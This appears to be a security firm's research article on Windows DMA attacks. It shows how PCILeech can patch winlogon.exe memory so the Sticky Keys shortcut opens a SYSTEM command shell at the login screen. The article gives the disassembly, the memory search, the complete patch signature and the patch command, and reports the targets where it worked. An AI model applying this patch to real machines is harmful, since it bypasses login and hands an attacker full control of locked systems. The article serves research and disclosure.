• CENTRE D’URGENCE | 24/7
  • Vous êtes victime d’une cyberattaque ?
  • Contactez notre centre d’urgence cyber :
  • +33 (0)1 83 07 00 06

Windows DMA Attacks : Gaining SYSTEM shells using a generic patch

We have been looking for a quick and universal signature which could work on all Windows versions during DMA attacks. This article describes how we achieved this along this the proof of concept code.

The current status of DMA Attacks

Inception

Inception by Carsten Maartmann-Moe, is a tool that can attack multiple DMA hardware, including Firewire, Thunderbolt, ExpressCard, PC-Card, and PCI/PCI-E interfaces.

This tool is capable of unlocking and elevating privileges on various platforms (Windows, Linux, Mac OS X) by patching memory sections.

However, the unlock command depends on the targeted system version, and signatures may vary.

PCILeech

PCILeech by Ulf Frisk is capable of dumping memory using the PCI-Express bus at high speed rates (> 150 MB/s) and beyond the 32-bit address range by injecting kernel modules.

Once the kernel module is successfully injected, it is possible to gain access to a SYSTEM shell, mount the remote file system and even more.

PCILeech has « signature » files that can unlock specific Windows version by patching DLL (msv1_0.dll for Windows Vista/8, NtlmShared.dll for Windows 10).

However, like Inception, kernel modules and signatures depends on the Windows version and some signature are missing. (Windows 7, 32-bit Windows versions, etc.)

Gaining SYSTEM shells on every modern Windows platforms

Since the current tools are relying on specific and OS dependent signatures to be successful, we have been looking for a quick and universal signature which could work on all Windows versions.

Material used

Software :

  • PCILeech running on Linux
  • Radare2

Hardware :

  • USB3380
  • FPGA + USB module

Tested targets :

  • Windows 10 (Worked)
  • Windows Server 2016 (Worked)
  • Windows 7 (Worked)
  • Windows Server 2008 R2 (Worked)

Attacking winlogon.exe

As you may be aware, an easy way to spawn a SYSTEM shell on the Windows login screen is to replace one of the binaries called by the winlogon.exe program.

Here is a non-exhaustive list of such binaries:

  • sethc.exe
  • utilman.exe
  • osk.exe
  • magnify.exe

Knowing this, we performed a quick static analysis of the winlogon.exe binary, in order to discover how those programs are started.

We looked for references to the CreateProcess Windows API function:

$ r2 -AAA winlogon.exe
...
[0x1000108d8]> afl~CreateProcess
0x10000cc7c    9 87168 -> 250  sub.KERNEL32.dll_CreateProcessW_c7c
0x100032308   63 1257         sub.KERNEL32.dll_CreateProcessW_308

We then performed a quick disassembly of the sub.KERNEL32.dll_CreateProcessW_308 function, and found references to the sethc.exe binary, the ‘Sticky Key’ utility, that can be invoked by press the SHIFT key 5 times:

[0x1000108d8]> pdf@sub.KERNEL32.dll_CreateProcessW_308
...
   ``---> 0x10003246e      448bce         mov r9d, esi
|      ||   0x100032471      4c8d05785d01.  lea r8, str.sethc.exe__ld  ; 0x1000481f0 ; u"sethc.exe %ld" ---> format string passed to CreateProcessW
|      ||   0x100032478      ba14000000     mov edx, 0x14              ; 20
|      ||   0x10003247d      488d8c240001.  lea rcx, [rsp + 0x100]     ; 256
|      ||   0x100032485      e88e20fdff     call sub.msvcrt.dll__vsnwprintf_518
|      ||   0x10003248a      85c0           test eax, eax
|     ,===< 0x10003248c      0f89ed000000   jns 0x10003257f
....
|  |||```-> 0x10003257f      c78424900000.  mov dword [rsp + 0x90], 0x68 ; 'h' ; [0x68:4]=-1 ; 104
|  |||      0x10003258a      4489b424cc00.  mov dword [rsp + 0xcc], r14d
|  |||      0x100032592      664489b424d0.  mov word [rsp + 0xd0], r14w
|  |||      0x10003259b      488d0d961401.  lea rcx, str.Winsta0_Winlogon ; 0x100043a38 ; u"Winsta0Winlogon"
|  |||      0x1000325a2      488d05672401.  lea rax, str.Winsta0_Default ; 0x100044a10 ; u"Winsta0Default"
|  |||      0x1000325a9      833d04600200.  cmp dword [0x1000585b4], 0
|  |||      0x1000325b0      480f45c1       cmovne rax, rcx
|  |||      0x1000325b4      48898424a000.  mov qword [rsp + 0xa0], rax
|  |||      0x1000325bc      488d442468     lea rax, [rsp + 0x68]      ; 'h' ; 104
|  |||      0x1000325c1      4889442448     mov qword [rsp + 0x48], rax
|  |||      0x1000325c6      488d84249000.  lea rax, [rsp + 0x90]      ; 144
|  |||      0x1000325ce      4889442440     mov qword [rsp + 0x40], rax
|  |||      0x1000325d3      488364243800   and qword [rsp + 0x38], 0
|  |||      0x1000325d9      488364243000   and qword [rsp + 0x30], 0
|  |||      0x1000325df      c74424280404.  mov dword [rsp + 0x28], 0x404 ; [0x404:4]=-1 ; 1028
|  |||      0x1000325e7      8364242000     and dword [rsp + 0x20], 0
|  |||      0x1000325ec      4533c9         xor r9d, r9d
|  |||      0x1000325ef      4533c0         xor r8d, r8d
|  |||      0x1000325f2      488d94240001.  lea rdx, [rsp + 0x100]     ; 256
|  |||      0x1000325fa      33c9           xor ecx, ecx
|  |||      0x1000325fc      ff15cee30000   call qword sym.imp.KERNEL32.dll_CreateProcessW ; [0x1000409d0:8]=0x78d41bb0 reloc.KERNEL32.dll_CreateProcessW_176

The format string sethc.exe %ld (moved in r8 at 0x100032471) looked interesting.

We searched for it in a winlogon process dump.

Analysis of the memory dump

While analyzing the core dump of a running winlogon process, we searched for the same format string.

On a Windows Server 2016, we found this string in the first 128MB of the process memory:

$ xxd winserver2016.dump | grep -i -A3 "s.e.t.h.c."
019406f0: 0900 7300 6500 7400 6800 6300 2e00 6500  ..s.e.t.h.c...e.
01940700: 7800 6500 6b00 4c00 aa20 0100 0000 0100  x.e.k.L.. ......
01940710: 8000 6e00 0000 0000 830d 0000 0000 0100  ..n.............
01940720: 74ea f895 64df d101 74ea f895 64df d101  t...d...t...d...
--
01abe270: 7300 6500 7400 6800 6300 2e00 6500 7800  s.e.t.h.c...e.x.
01abe280: 6500 2000 2500 6c00 6400 0000 0000 0000  e. .%.l.d.......
01abe290: 7300 6500 7400 6800 6300 2e00 6500 7800  s.e.t.h.c...e.x.
01abe2a0: 6500 0000 0000 0000 4e00 6500 6700 6f00  e.......N.e.g.o.

Creating the PCILeech signature file

Creating a PCILeech signature was quite a simple task.
The documentation can be found on the signature_info.txt file of the PCILeech project.

The goal of our patch signature was to find the sethc.exe %ld unicode string and replace it by the Windows command shell cmd.exe.
This trick is similar to the popular privileges escalation method that consists in replacing the sethc.exe executable by cmd.exe.
However, this method alters the system integrity and is not applicable to an encrypted environment.

Thus, our patch signature looked like this :

*,730065007400680063002E00650078006500200025006C006400000000000000730065007400680063002E006500780065,0,-,r0,63006D0064002E0065007800650000000000200025006C00640000000000000063006D0064002E00650078006500000000
  • * means to search into each memory pages.
  • 730065007400680063[SNIP]002E006500780065 is the unicode string of sethc.exe %ld followed by sethc.exe to search.
  • 0 and - means that we don’t have to look for another chunk.
  • r0 is the relative offset where the patch should be applied.
  • 3006D0064002E00650[SNIP]0078006500000000 is the patch that will replace sethc.exe by cmd.exe.

Patching live memory

With the signature file at hand, we just needed to run the patch subcommand of pcileech:

# ./pcileech patch -sig spawn_shell -max 0x00000000DC000000
Current Action: Patching
Access Mode:    DMA (hardware only)
Progress:       48 / 3520 (1%)
Speed:          24 MB/s
Address:        0x0000000003000000
Pages read:     12192 / 901120 (1%)
Pages failed:   96 (0%)
Patch: Successful. Location: 0x2028270

Here came trouble.

With our hardware (the USB3380 development board), only a limited amount of memory could be accessed (around 3500 MB).

In other words, the patch currently works only if the searched string is located in this memory area and has read/write permission on it.

If this is not the case, the remaining options are:

  • Reducing the amount of physical memory on the target to 4 or even 2 GB: might not always be feasible in every scenario, but should increase the reliability ;
  • Retrying the patch after rebooting the system, hoping that the process would be mapped in the expected memory area (not really an ideal solution, but worked during our experiments) ;
  • Buy better hardware: Ulf Frisk recommends using the Xilinx SP605 FPGA development board, with the FTDI FT601 USB3 UMFT601X-B add-on board, which allows performing a full memory dump (no more limitation).

When the patch is successful, we get a SYSTEM shell by hitting five times the SHIFT key from the login screen.

PoC video:

Future work

  • Test more targets (Windows Server 2012, Windows 8).
  • Perform tests with the SP605 FPGA development board.
  • Find similar methods on Linux/Mac OS X.

Authors

  • Ronan KERVELLA <r.kervella -at- sysdream.com>
  • Nicolas CHATELAIN <n.chatelain -at- sysdream.com>

Acknowledgements

  • Ulf Frisk for his amazing tool (pcileech)
  • Carsten Maartmann-Moe for the inception tool